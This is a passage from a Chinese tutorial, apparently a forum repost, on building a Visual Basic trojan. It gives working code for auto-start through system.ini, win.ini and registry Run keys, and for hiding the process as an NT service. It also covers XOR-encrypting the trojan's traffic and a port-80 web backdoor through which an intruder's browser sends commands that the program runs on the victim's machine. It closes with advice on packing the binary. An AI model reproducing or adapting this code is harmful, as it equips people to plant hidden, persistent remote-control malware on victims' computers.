GetPrivateProfileString(Section, key, vbNullString, ReturnStr, 255, IniFileName)ReadString = Trim$(Left$(ReturnStr, ReturnLng))End Function===================================================可以直接用WriteString(WinPath & "system.ini", "boot", "Shell", "Explorer.exe " & App.EXEName & ".exe")和WriteString(WinPath & "win.ini", "", "load", App.EXEName & ".exe")来写入SYSTEM.INI和WIN.INI,注意这两个文件均在根目录下。写入SYSTEM.INI时一定要记得别遗漏了原来的外壳程序。WriteString函数返回一个表示写入是否成功的布尔值。为了更准确的判断程序是否已经添加数据了,我们最好读取刚写入的INI来确认:ReadString(WinPath & "system.ini", "boot", "Shell")和ReadString(WinPath & "win.ini", "", "boot"),返回的字符串里如果带有你的木马程序名,恭喜你,成功了。4.下的启动――注册表篇注册表是的重要组成部分,它不仅包含了齐全的软硬件信息、配置数据,也提供了自启动程序的入口,所以这里也是大多数木马喜欢依靠的地方。关于注册表的构成和详细资料,请大家自己另找资料,这里不做介绍。一般木马主要集中在下列几处:HKEY_LOCAL_MACHINE\Software\Microsoft\\CurrentVersion\Run全局的启动项,此主键下的值在Shell加载完成(桌面图标显示、任务栏出现)后执行。HKEY_LOCAL_MACHINE\Software\Microsoft\\CurrentVersion\RunServices全局的启动项,此主键下的值在GUI初始化完成(桌面刚出现,Shell未加载)时执行。Win2000/XP里没有此主键。HKEY_CURRENT_USER\Software\Microsoft\\CurrentVersion\Run仅在当前用户登录后,Shell加载完成时执行。下面给出代码:==================================================='自启动'使用方法:AutoRun([用户类型{0,1}],[启动顺序{0,1}],[键值说明{string}])'例如:AutoRun(0,0,"Hello")表示在HKEY_LOCAL_MACHINE\Software\Microsoft\\CurrentVersion\RunServices写入一个名称为Hello的键值Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkresult As Long) As LongDeclare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As LongDeclare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As LongPublic Const HKEY_CURRENT_USER = &HPublic Const HKEY_LOCAL_MACHINE = &HSub AutoRun(iType As Integer,iStart As Integer,sAppName As String)Dim sKeyName As StringDim sKeyValue As StringDim Ret As LongDim lphKey As LongDim sApplication As StringDim RegSetKey As LongDim hKey As LongsApplication = Trim$(App.Path) & "\" & Trim$(App.EXEName & ".EXE")If iStart = 0 ThensKeyName = "Software\Microsoft\\CurrentVersion\RunServices"ElsesKeyName = "Software\Microsoft\\CurrentVersion\Run"End If'设置自启动项sKeyValue = sApplicationIf iType = 0 ThenRet = RegCreateKey(HKEY_LOCAL_MACHINE, sKeyName, lphKey)ElseRet = RegCreateKey(HKEY_CURRENT_USER, sKeyName, lphKey)End IfRet = RegSetValueEx(lphKey, sAppName, 0, 1, ByVal sKeyValue, Len(sKeyValue))Ret = RegCloseKey(lphKey)End Sub===================================================5.Win2000/XP下的启动――NT-Service篇由于2000/XP强大的任务管理功能,在9x/Me中无法看到的进程,在2000/XP里暴露无遗,而且Win2000/XP也取消了RegisterServiceProcess这个API,因为两个系统里“服务”的概念不同。NT架构采用一种称为“NT-Service”的技术来实现类似UNIX系统的守护进程功能,可以简单理解成跟随系统启动后,无论用户是否登录注销都一直运行着的进程(你见过有哪台服务器是整天开着GUI界面的吗?),具体介绍请看第5期TOo2y的文章。服务控制管理器(Service Control Manager)是NT服务的核心。采用NT-Service方式启动的程序不会在任务管理器里显示,而且不会因为用户的注销而停止运行,因此在2000/XP里使用NT-Service编程可以同时实现高质量的自启动和隐藏进程。微软并不推荐用VB写NT-Service,理由是不稳定,但是经过我实际测试,证实VB写的NT-Service可以稳定的持续运行很久,就是在服务控制上有点问题,例如不能用net pause、net stop来处理,会返回“没有响应操作”信息,也许是我的处理函数有问题。VB写NT-Service有几个方法,一种是用ActiveX,这里不推荐;另一种是通过一个Type Library文件(VB里用于引入外部成员函数的一种方式)和线程代码实现,这样生成的EXE至少在52KB以上;第三种是完全API写SCM代码,这里仅推荐这种方法。NT-Service入口必须写在Main()函数里,并且用Main()启动程序,不能写在窗体代码里,SCM找不到Service入口会造成程序无法启动成为NT-Service。一些函数是固定的,不能随意更改,如ServiceMain函数,它负责整个NT-Service执行和管理。程序代码不能放在NT-Service循环体内(除非是计数变量,否则会造成代码死循环),而是在Main()的StartServiceCtrlDispatcher后加入处理代码或者加载窗体。注意必须检测系统是否为NT类型,否则一样会冒出个“找不到DLL入口”,然后程序崩溃-_-b VB代码(代码比较长,文章附源代码文件):===================================================Public Const SERVICE_WIN32_OWN_PROCESS = &H10&Public Const SERVICE_WIN32_SHARE_PROCESS = &H20&Public Const SERVICE_WIN32 = SERVICE_WIN32_OWN_PROCESS + _SERVICE_WIN32_SHARE_PROCESSPublic Const SERVICE_ACCEPT_STOP = &H1Public Const SERVICE_ACCEPT_PAUSE_CONTINUE = &H2Public Const SERVICE_ACCEPT_SHUTDOWN = &H4Public Const SC_MANAGER_CONNECT = &H1Public Const SC_MANAGER_CREATE_SERVICE = &H2Public Const SC_MANAGER_ENUMERATE_SERVICE = &H4Public Const SC_MANAGER_LOCK = &H8Public Const SC_MANAGER_QUERY_LOCK_STATUS = &H10Public Const SC_MANAGER_MODIFY_BOOT_CONFIG = &H20Public Const STANDARD_RIGHTS_REQUIRED = &HF0000Public Const SERVICE_QUERY_CONFIG = &H1Public Const SERVICE_CHANGE_CONFIG = &H2Public Const SERVICE_QUERY_STATUS = &H4Public Const SERVICE_ENUMERATE_DEPENDENTS = &H8Public Const SERVICE_START = &H10Public Const SERVICE_STOP = &H20Public Const SERVICE_PAUSE_CONTINUE = &H40Public Const SERVICE_INTERROGATE = &H80Public Const SERVICE_USER_DEFINED_CONTROL = &H100Public Const SERVICE_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED Or _SERVICE_QUERY_CONFIG Or _SERVICE_CHANGE_CONFIG Or _SERVICE_QUERY_STATUS Or _SERVICE_ENUMERATE_DEPENDENTS Or _SERVICE_START Or _SERVICE_STOP Or _SERVICE_INTERROGATE Or _SERVICE_USER_DEFINED_CONTROL)Public Const SERVICE_DEMAND_START As Long = &H3Public Const SERVICE_ERROR_NORMAL As Long = &H1Public Enum SERVICE_CONTROLSERVICE_CONTROL_STOP = &H1SERVICE_CONTROL_PAUSE = &H2SERVICE_CONTROL_CONTINUE = &H3SERVICE_CONTROL_INTERROGATE = &H4SERVICE_CONTROL_SHUTDOWN = &H5End EnumPublic Enum SERVICE_STATESERVICE_STOPPED = &H1SERVICE_START_PENDING = &H2SERVICE_STOP_PENDING = &H3SERVICE_RUNNING = &H4SERVICE_CONTINUE_PENDING = &H5SERVICE_PAUSE_PENDING = &H6SERVICE_PAUSED = &H7End EnumPublic Type SERVICE_TABLE_ENTRYlpServiceName As StringlpServiceProc As LonglpServiceNameNull As LonglpServiceProcNull As LongEnd TypePublic Type SERVICE_STATUSdwServiceType As LongdwCurrentState As LongdwControlsAccepted As LongdwWin32ExitCode As LongdwServiceSpecificExitCode As LongdwCheckPoint As LongdwWaitHint As LongEnd TypePublic Declare Function OpenSCManager Lib "advapi32.dll" Alias _"OpenSCManagerA" (ByVal lpMachineName As String, _ByVal lpDatabaseName As String, ByVal dwDesiredAccess As Long) As LongPublic Declare Function CloseServiceHandle Lib "advapi32.dll" (ByVal hSCObject _As Long) As LongPublic Declare Function OpenService Lib "advapi32.dll" Alias "OpenServiceA" _(ByVal hSCManager As Long, ByVal lpServiceName As String, _ByVal dwDesiredAccess As Long) As LongPublic Declare Function StartService Lib "advapi32.dll" Alias "StartServiceA" _(ByVal hService As Long, ByVal dwNumServiceArgs As Long, _ByVal lpServiceArgVectors As Long) As LongPublic Declare Function ControlService Lib "advapi32.dll" (ByVal hService As _Long, ByVal dwControl As Long, lpServiceStatus As SERVICE_STATUS) As LongPublic Declare Function StartServiceCtrlDispatcher _Lib "advapi32.dll" Alias "StartServiceCtrlDispatcherA" _(lpServiceStartTable As SERVICE_TABLE_ENTRY) As LongPublic Declare Function RegisterServiceCtrlHandler _Lib "advapi32.dll" Alias "RegisterServiceCtrlHandlerA" _(ByVal lpServiceName As String, ByVal lpHandlerProc As Long) _As LongPublic Declare Function SetServiceStatus _Lib "advapi32.dll" (ByVal hServiceStatus As Long, _lpServiceStatus As SERVICE_STATUS) As LongPublic Declare Function CreateService _Lib "advapi32.dll" Alias "CreateServiceA" _(ByVal hSCManager As Long, ByVal lpServiceName As String, _ByVal lpDisplayName As String, ByVal dwDesiredAccess As Long, _ByVal dwServiceType As Long, ByVal dwStartType As Long, _ByVal dwErrorControl As Long, ByVal lpBinaryPathName As String, _ByVal lpLoadOrderGroup As String, ByVal lpdwTagId As String, _ByVal lpDependencies As String, ByVal lp As String, _ByVal lpPassword As String) As LongPublic Declare Function DeleteService _Lib "advapi32.dll" (ByVal hService As Long) As LongPublic hServiceStatus As LongPublic ServiceStatus As SERVICE_STATUSPublic Const SERVICE_NAME As String = "NT-Service" '服务名Sub ServiceMain(ByVal dwArgc As Long, ByVal lpszArgv As Long)Dim B As BooleanDim U As LongDim Z As Long'初始化ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESSServiceStatus.dwCurrentState = SERVICE_START_PENDING'设置状态ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP _Or SERVICE_ACCEPT_PAUSE_CONTINUE _Or SERVICE_ACCEPT_SHUTDOWNServiceStatus.dwWin32ExitCode = 0ServiceStatus.dwServiceSpecificExitCode = 0ServiceStatus.dwCheckPoint = 0ServiceStatus.dwWaitHint = 0hServiceStatus = RegisterServiceCtrlHandler(SERVICE_NAME, _AddressOf Handler)ServiceStatus.dwCurrentState = SERVICE_START_PENDINGB = SetServiceStatus(hServiceStatus, ServiceStatus)ServiceStatus.dwCurrentState = SERVICE_RUNNINGB = SetServiceStatus(hServiceStatus, ServiceStatus)End Sub Sub Handler(ByVal fdwControl As Long)Dim B As BooleanDim U As LongSelect Case fdwControlCase SERVICE_CONTROL_PAUSEServiceStatus.dwCurrentState = SERVICE_PAUSEDCase SERVICE_CONTROL_CONTINUEServiceStatus.dwCurrentState = SERVICE_RUNNINGCase SERVICE_CONTROL_STOPServiceStatus.dwWin32ExitCode = 0ServiceStatus.dwCurrentState = SERVICE_STOP_PENDINGServiceStatus.dwCheckPoint = 0ServiceStatus.dwWaitHint = 0B = SetServiceStatus(hServiceStatus, ServiceStatus)ServiceStatus.dwCurrentState = SERVICE_STOPPEDCase SERVICE_CONTROL_INTERROGATECase ElseEnd SelectB = SetServiceStatus(hServiceStatus, ServiceStatus)End SubFunction HandlerEx(ByVal command As Long) As BooleanDim hSCM As LongDim hService As LongDim res As LongDim lpServiceStatus As SERVICE_STATUSIf command & 0 Or command & 3 Then Err.Raise 5hSCM = OpenSCManager(vbNullString, vbNullString, GENERIC_EXECUTE)If hSCM = 0 Then Exit FunctionhService = OpenService(hSCM, SERVICE_NAME, GENERIC_EXECUTE)If hService = 0 Then GoTo CleanUpSelect Case commandCase 0res = StartService(hService, 0, 0)Case SERVICE_CONTROL_STOP, SERVICE_CONTROL_PAUSE, _SERVICE_CONTROL_CONTINUEres = ControlService(hService, command, lpServiceStatus)End SelectIf res = 0 Then GoTo CleanUpServiceCommand = TrueCleanUp:If hService Then CloseServiceHandle hServiceCloseServiceHandle hSCMEnd FunctionFunction FncPtr(ByVal fnp As Long) As LongFncPtr = fnpEnd FunctionSub Main()On Error Resume NextDim hSCManager As LongDim hService As LongDim ServiceTableEntry As SERVICE_TABLE_ENTRYDim B As BooleanDim cmd As StringDim U As Longcmd = Trim(LCase(command()))Select Case cmdCase "-uninstall"If CheckIsNT = False Then End: Exit SubhSCManager = OpenSCManager(vbNullString, vbNullString, _SC_MANAGER_CREATE_SERVICE)hService = OpenService(hSCManager, SERVICE_NAME, _SERVICE_ALL_ACCESS)DeleteService hServiceCloseServiceHandle hServiceCloseServiceHandle hSCManagerEndCase "-install"If CheckIsNT = False Then Load frmMain: Exit Sub'安装NT-ServicehSCManager = OpenSCManager(vbNullString, vbNullString, _SC_MANAGER_CREATE_SERVICE)hService = CreateService(hSCManager, SERVICE_NAME, _SERVICE_NAME, SERVICE_ALL_ACCESS, _SERVICE_WIN32_OWN_PROCESS, _SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL, App.Path & "\" & App.EXEName & ".EXE", vbNullString, _vbNullString, vbNullString, vbNullString, _vbNullString)CloseServiceHandle hServiceCloseServiceHandle hSCManagerDoEventsShell Path & App.EXEName & ".EXE" '重新启动EXEEndCase Else'启动NT-ServiceIf CheckIsNT = False Then Load frmMain: Exit SubServiceTableEntry.lpServiceName = SERVICE_NAMEServiceTableEntry.lpServiceProc = FncPtr(AddressOf ServiceMain)B = StartServiceCtrlDispatcher(ServiceTableEntry)Load frmMain '加载窗体,开始运行程序主体End SelectEnd Sub=================================================== 十二、报文加密和报文格式由于木马有时候传输的是敏感信息,而且数据包会被拦截分析,因此必须尽量少用不经过任何处理的明文传递数据,而是把明文数据加密成乱字符密文后发送,确保不被人伪造假命令或者窃取信息。加密的思路其实不用很复杂,只要把它理解为货物出站时加一个包装箱,接收方拿到货物后打开箱子就可以了,只需在send时把字符串进行加密(Encrypt)就可以,对方recv后立即解密(Decrypt)就得到原始数据,接下来如何处理就看后面的代码了,例如:==================================================='加密后发送数据rc = Encrypt(rc, "a") '加密 SendData wParam, rc'接收并解密DoszBuf = String(256, 0)lRet = recv(wParam, ByVal szBuf, Len(szBuf), 0)If lRet & 0 Then sData = sData + Left$(szBuf, lRet)Loop Until lRet &= 0sData = Decrypt(sData, "a")sData = Trim$(sData)===================================================加密的方式有很多种,具体用哪种并不重要,重要的是,这种加密是否很容易被破译,最简单的一种方法是把原始数据的每个字符ASCII代码都减去1,这样出来的数据也可以算是面目全非了,接收后再把它们的ASCII值加上1即可。但是要想做比较强的加密,我推荐用密钥加密,破译的难度至少大一些。VB代码:==================================================='解密Function Decrypt(PlainStr As String, key As String)Dim Char As String, KeyChar As String, NewStr As StringDim Pos As IntegerDim i As Integer, Side1 As String, Side2 As StringPos = 1If Len(PlainStr) Mod 2 = 0 ThenSide1 = StrReverse(Left(PlainStr, (Len(PlainStr) / 2)))Side2 = StrReverse(Right(PlainStr, (Len(PlainStr) / 2)))PlainStr = Side1 & Side2End IfFor i = 1 To Len(PlainStr)Char = Mid(PlainStr, i, 1)KeyChar = Mid(key, Pos, 1)NewStr = NewStr & Chr(Asc(Char) Xor Asc(KeyChar))If Pos = Len(key) Then Pos = 0Pos = Pos + 1Next iDecrypt = NewStrEnd Function'加密Function Encrypt(PlainStr As String, key As String)Dim Char As String, KeyChar As String, NewStr As StringDim Pos As IntegerDim i As Integer, Side1 As String, Side2 As StringPos = 1For i = 1 To Len(PlainStr)Char = Mid(PlainStr, i, 1)KeyChar = Mid(key, Pos, 1)NewStr = NewStr & Chr(Asc(Char) Xor Asc(KeyChar))If Pos = Len(key) Then Pos = 0Pos = Pos + 1Next iIf Len(NewStr) Mod 2 = 0 ThenSide1 = StrReverse(Left(NewStr, (Len(NewStr) / 2)))Side2 = StrReverse(Right(NewStr, (Len(NewStr) / 2)))NewStr = Side1 & Side2End IfEncrypt = NewStrEnd Function===================================================除了加密,报文的格式也是重要的。没有制作经验的初学者往往不明白格式的重要性,而是直接把数据不加修饰的发送出去,如果功能少点还可以,如果功能多了,出错的机会也就大了。有的新手直接把汉字或其他非英文字符直接发出去,这更会引起不必要的麻烦,因为全世界并不是只有中国,也不是只有中文,世界上还有韩文、英文等不支持中文内码的操作系统,它们会导致你的木马返回的数据变成乱码,正如在中文上运行BIG5内码程序或日文内码程序一样。没必要为报文格式定个标准,只要是自己处理起来方便的就可以。例如下面的报文:HBUTROJAN/.../550/.../NOTWRITE/.../c:\\win.ini我用“/.../”划分这个报文区域,因为这样的分割标记不容易被一些例外数据干扰,把分隔符去除后得到:[前导标记] [ASCII代码] [信息1] [信息2]客户端/服务端程序接收翻译部分代码的分解:1.[前导标记] 预先定义为HBUTROJAN,如果用InStr或Left得不到这个数据,则表示程序接收到的数据并非服务端/客户端发送来的,跳出处理过程。如果含有这个标记,则进行下一个区域的处理。2.[ASCII代码] 用数字做标识码,分别对应不同情况,例如200代表正常,404代表文件未找到,550表示权限拒绝等。3.[信息1] 这里用于进一步解释返回的数据含义。4.[信息2] 补充说明。所以HBUTROJAN/.../550/.../NOTWRITE/.../c:\\win.ini经过翻译后可以知道要表达的是:无法写入文件 c:\\win.ini经过这样的格式处理,把详细资料都放在程序内部进行翻译,而不是直接把要做的事传来传去,“含蓄”的木马通常可以让人摸不到头脑,呵呵。十三、B/S模式浏览器-服务器模式(Browser-Server,B/S)提供了一种简便的交互界面,无需专用的Client连接。Server端在受害者的机器等待入侵者用Internet Explorer等浏览器来发送命令,并以HTML页面方式返回返回数据。要制作基于B/S模式的木马,前提是了解HTTP协议和基础的HTML制作,你不用学会制作复杂的表格,但是必须会最基本的表单提交,这是Browser与Server交互的唯一方式。1.HTTP协议HTTP协议使用TCP协议和明文字符传递数据,一个基本的HTTP请求如下(&CR&代表换行符):===================================================GET /index.htm HTTP/1.0&CR&Accept:*/*&CR&User-Agent:Mozilla/4.0 ( MSIE 5.00;
98)&CR&Host:&CR&&CR&&CR&===================================================HTTP请求可以略分为3个分段:1.基本数据:GET /index.htm HTTP/1.0&CR&表示用GET方法请求根目录的index.htm,使用HTTP1.0的协议版本,用换行符表示结束。2.附加数据:Accept:*/*&CR&User-Agent:Mozilla/4.0 ( MSIE 5.00;
98)&CR&Host:&CR&跟随在HTTP/1.0后一行开始的字符无论有多少,都只是一种附加数据,用于详细说明该次HTTP请求需要什么细节设置,一般比较重要的是Set-Cookie和Referer信息。3.结束标志:&CR&&CR&(两个换行符)这是表示HTTP请求结尾的标志,服务器必须接收到至少2个换行符才会对这次的HTTP报文进行处理。根据HTTP报文格式,按照理论我们可以从基本数据段和附加数据段去开发B/S,但是由于浏览器不能让我们自定义附加数据,所以实际上只有用基本数据来控制木马。2.最重要的HTML交互――表单提交相信大家都知道在HTML页面里点击一个按钮发表文章帖子,这时候浏览器的后台操作是怎么样的呢?例如这段表单:&form action="register"&&p size=9px& 名字 &input type="text" name="UserName"&&/p&&p& 年龄 &input name="Age" type="text"&&/p&&input type="submit" value="注册"&&/form&用工具捕获IE输出,可以看到点击按钮后实际是发送了以下HTTP请求:PUT /register?UserName=LK007&Age=18 HTTP/1.0Accept:text/htmlUser-Agent:Mozilla/4.0 ( MSIE 5.00;
98)Host:虽然里面有我们需要的数据,但是无用数据也太多了,所以必须用一段代码去除枝叶,保留核心。===================================================Function ProcHTTP(strData As String) As String'去除HTTP请求中的基本数据头尾、附加数据、结束标志'AuthorK007'使用方法:字符变量=ProcHTTP([HTTP报文])On Error Resume NextDim FindGet As Integer, FindPost As Integer, spc2 As IntegerIf Mid$(strData$, 1, 3) = "GET" Then '如果以GET开头FindGet = InStr(strData$, "GET ")spc2 = InStr(FindGet + 5, strData$, " ") ' 取得第二个空格分隔符位置(“HTTP”字符)ProcHTTP = Trim$(Mid$(strData$, FindGet + 4, spc2 - (FindGet + 4))) '分离数据ElseIf Mid$(strData$, 1, 4) = "OST" Then '如果以POST开头FindPost = InStr(strData$, "OST ")spc2 = InStr(FindPost + 5, strData$, " ") '取第二个空格ProcHTTP = Trim$(Mid$(strData$, FindPost + 5, spc2 - (FindPost + 5))) '分离数据End IfEnd Function===================================================一个完整的HTTP请求经过这段代码后变成:/register?UserName=LK007&Age=18这才是我们需要的核心部分,分析它的报文格式:[目标文件]?[附加数据1=数据]&[附加数据2=数据]&..............应用在木马中,可以这样理解:[命令]?[参数1=值]&[参数2=值]&......例如:/writefile?filename=c:\\desktop\user.txt&text=hello,nice%20to%20meet%20you它表示用写入文件的命令往c:\\desktop\user.txt写入内容“hello,nice to meet you”,浏览器输出的中文和特殊字符报文必须经过URL编码,因此空格被编码成了%20。3.B/S交互制作(1).输出HTML鉴于TCP协议的木马都是开个端口监听,和HTTP服务没什么两样,因此不必为B/S模式接收部分编写另外的代码,直接在recv里判断报文是否以GET/PUT开头即可。如果是一个HTTP请求则执行一段预先写好的HTML页面输出过程,例如: ===================================================Function DefaultHTML()On Error Resume NextDim x As Stringx = "HTTP/1.1 200 OK" & vbCrLfx = x & "Server: HBU Trojan" & vbCrLf & vbCrLfx = x & vbCrLf & "&HTML&&HEAD&&TITLE&B/S Example .:owered by 小金::.&/TITLE&" & _"&META content=""text/ charset=gb2312"" http-equiv=Content-Type&" & _"&/HEAD&&BODY aLink=#ffffff bgColor=#4f9fdf bottomMargin=0 leftMargin=0 rightMargin=0 topMargin=0 vLink=#ffffff&" & _"&p align=""center""&&b&&font size=""6"" color=""#000066""&显示目录&/font&&/b&&/p&" & _"&hr width=""100%"" size=""1"" color=""#FFFFFF"" &&table width=""100%"" border=""0"" cellspacing=""0"" cellpadding=""0""&&tr&&td width=""41%""&&form action=""dir""&&p size=9px& 路径 &input type=""text"" name=""directory"" value=""c:\""&&/p&&p& 文件类型 &input name=""filter"" type=""text"" value=""*.*""&&/p&&input type=""submit"" value=""显示""&&/form&&/td&&/tr&&/table&&hr width=""100%"" size=""1"" color=""#FFFFFF"" &&p align=""center""&&font face=""Arial"" size=""2"" color=""#FFFFFF""&&b&&&2003 小金 制作&&/b&&/font&&/p&&/BODY&&/HTML&"DefaultHTML = xEnd Function===================================================这段代码输出一个包含HTML内容的字符串,用Winsock发送出去就显示成一个简单的HTML页面了。(2).表单提交和控制先看一段表单模型:&form action=[控制命令]&&p&[内容描述]&input type="text" name=[参数1]&&/p&&p&[内容描述2]&input type="text" name=[参数2]&&/p&&input type="submit" value=[描述]&&form&注意&input type="submit" value=[描述]&,这是个提交按钮,必须省略它的NAME属性(完整的提交按钮格式是&input type="submit" name=[参数] value=[描述]&),否则浏览器会在所有数据后追加一个附加数据用于表示按钮,这样我们前面提到的“/register?UserName=LK007&Age=18”就会变成“/register?UserName=LK007&Age=18&[按钮NAME]=[按钮Value]”,对程序分割命令段没什么好处。服务端接收到一个HTTP请求并去除枝叶后,就要对它进行分解,把命令和参数分离。例如:/dir?directory=c:\&filter=*.*VB代码分解:===================================================Dim strURL As StringDim sCommand As String '命令Dim sValue(15) As String '最大处理16个参数Dim sTmp As String, sLength As Integer, i As IntegerstrURL = "/dir?directory=c:\&filter=*.*"strURL = Trim$(Right$(strURL, Len(strURL) - 1)) '去除"/"sCommand = Left$(strURL, InStr(strURL, "?") - 1) '分割命令和参数sTmp = Right(strURL, (Len(strURL) - Len(sCommand) - 1))For i = 0 To 15If InStr(sTmp, "&") = 0 Then sValue(i) = sTmp: Exit ForsValue(i) = Left$(sTmp, InStr(sTmp, "&") - 1)sTmp = Right(sTmp, (Len(sTmp) - Len(sValue(i)) - 1))NextSelect Case sCommandCase "dir"Dim sDir As StringDim sFilter As StringFor i = 0 To 15If InStr(sValue(i), "directory=") && 0 ThensDir = Right$(sValue(i), Len(sValue(i)) - 10) 'Len("directory=")=10ElseIf InStr(sValue(i), "filter=") && 0 ThensFilter = Right$(sValue(i), Len(sValue(i)) - 7) 'Len("filter=")=7ElseEnd IfNextCase .....Case ElseEnd Select===================================================最终得到命令“dir c:\*.*”。然后可以用多种方法执行这个命令,如Shell、CreateProcess等,把执行结果用一个HTML页面返回数据:===================================================Function OutputHTML(sData As String)On Error Resume NextDim x As Stringx = "HTTP/1.1 200 OK" & vbCrLfx = x & "Server: HBU Trojan" & vbCrLf & vbCrLfx = x & vbCrLf & "&HTML&&HEAD&&TITLE&B/S Example .:owered by 小金::.&/TITLE&" & _"&META content=""text/ charset=gb2312"" http-equiv=Content-Type&" & _"&/HEAD&&BODY aLink=#ffffff bgColor=#4f9fdf bottomMargin=0 leftMargin=0 rightMargin=0 topMargin=0 vLink=#ffffff&" & _"&p align=""center""&&b&&font size=""6"" color=""#000066""&查看目录&/font&&/b&&/p&" & _"&hr width=""100%"" size=""1"" color=""#FFFFFF"" &&table width=""100%"" border=""0"" cellspacing=""0"" cellpadding=""0""&&tr&&td width=""41%""&&p align=""center""&&font color=""#FFFFFF"" size=""6""&&b&&font size=""7""&&pre&" & sData & "&/pre&&/font&&/b&&/font&&/p&&/td&&/tr&&/table&&hr width=""100%"" size=""1"" color=""#FFFFFF"" &&p align=""center""&&font face=""Arial"" size=""2"" color=""#FFFFFF""&&b&&&2003 小金 制作&&/b&&/font&&/p&&/BODY&&/HTML&"OutputHTML = xEnd Function===================================================4.与加密报文冲突的解决由于HTTP使用明文传输,所以支持B/S模式的木马就必须用明文传输,这似乎与前面的报文加密冲突,其实只要在发送和接收的时候判断一下HTTP请求和HTML页面的特征字符串就可以了。==================================================='加密后发送数据If InStr(rc,"&HTML&&HEAD&&TITLE&")=0 Then rc = Encrypt(rc, "a") '如果没有发现HTML特征就加密 SendData wParam, rc'接收并解密DoszBuf = String(256, 0)lRet = recv(wParam, ByVal szBuf, Len(szBuf), 0)If lRet & 0 Then sData = sData + Left$(szBuf, lRet)Loop Until lRet &= 0If InStr(sData,"HTTP/") =0 Then sData = Decrypt(sData, "a") '如果没有HTTP请求的特征就解密sData = Trim$(sData)===================================================限于篇幅问题,B/S控制就简单的介绍到这里了。十四、编译和加壳虽然去除了ActiveX,但是VB程序必须依靠VB运行库才能运行,所以推荐用VB5.0编译成EXE,因为Win9x没有自带MSVBVM60.DLL。加壳也是必要的,可以尽量减小VB程序的体积,也避免EXE文件被随意修改。用API写的VB木马一般可以将体积控制在64KB以下。十五、源代码附上一个简单的带有自启动、隐藏进程、NT-Service、B/S控制(端口80)的木马例子,希望能给大家带来一点制作经验。由于直接使用浏览器控制,所以就偷懒不写Client端了,实际应用中最好能让木马同时支持C/S、B/S。 补充说明其实只要能实现相应的功能,没必要非要用VB去写.不过这篇文章对学习VB网络编程还是有帮助的,思路很好也有代码说明.其实关于控件只是给开发人员提供一些基本功能,节省开发时间用的,这也是何有专业人士开发自己的控件(功能可自定且功能较强).当然要对系统底层知识比较了解.其中B/S模式思路h的比较不错(本人认为用在木马上),当然这已经流行很久了.文章讲了挺多其他方面的,总体来h网友各取所用吧,总之希望这样的N子经常能看到
本文引用网址:
在下列搜索引擎中搜索“真正的VB木马,不用WINSOCK控件(1)”的相关信息:
你可能还喜欢以下文章
?上一篇书院:
?下一篇书院:}

我要回帖

更多关于 我不知道我是谁 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信